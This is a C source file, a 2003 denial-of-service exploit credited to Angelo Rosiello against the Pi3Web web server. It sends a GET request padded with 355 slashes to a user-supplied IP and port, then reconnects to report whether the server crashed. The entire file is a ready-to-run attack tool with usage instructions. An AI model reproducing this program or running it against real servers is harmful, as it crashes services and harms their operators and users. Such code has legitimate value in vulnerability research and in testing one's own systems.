/* 
 * Rosiello Security
 *
 * http://www.rosiello.org
 * http://dtors.net
 * 
 * Unix Version of the Pi3web DoS.
 * ----------------------------------------------------------
 * Info: Pi3Web Server is vulnerable to a denial of Service.
 * ----------------------------------------------------------
 * VULNERABILITY:
 * GET //// <- 354
 * 
 * The bug was found by aT4r@3wdesign.es  04/26/2003
 * www.3wdesign.es Security
 * ----------------------------------------------------------
 * Unix Version Credits.
 * AUTHOR : Angelo Rosiello
 * CONTACT: angelo@rosiello.org, angelo@dtors.net
 * 	    
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>

void addr_initialize();

int main(int argc, char **argv)
{
	int i, port, sd, rc;
	char buffer[355];
	char *get = "GET";
	char packet[360];
	struct sockaddr_in server;

	if(argc > 3 || argc < 2)
	{	
		printf("USAGE: %s IP PORT\n", argv[0]);
		printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
		exit(0);
	}
	if(argc == 2) port = 80;
	else port = atoi(argv[2]);
	
	for(i = 0; i < 355; i++) buffer[i] = '/';		//Build the malformed request
	sprintf(packet, "%s %s\n", get, buffer);
	addr_initialize(&server, port, (long)inet_addr(argv[1]));
	
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd < 0) perror("Socket");
	assert(sd >= 0);
	rc = connect(sd, (struct sockaddr *) &server, sizeof(server)); 	
	if(rc != 0) perror("Connect");
	assert(rc == 0);
	printf("\n\t\t(c) 2003 DTORS Security\n");
	printf("\t\tUnix Version DoS for Pi3web\n");
	printf("\t\tby Angelo Rosiello\n\n");
	write(sd, packet, strlen(packet));			//Caput!
	printf("Malformed packet sent!\n");
	close(sd);

	printf("Checking if the server crashed...\n");
	sleep(3);

	sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd < 0) perror("Socket");
	assert(sd >= 0);
	rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
	if(rc != 0)
	{	
		printf("The server is dead!\n");
		exit(0);
	}
	else if(rc == 0) printf("The server is not vulnerable!\n");
	close(sd);
	exit(0);
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
        address -> sin_family = AF_INET;
        address -> sin_port = htons((u_short)port);
        address -> sin_addr.s_addr = IPaddr;
}

/*EOF*/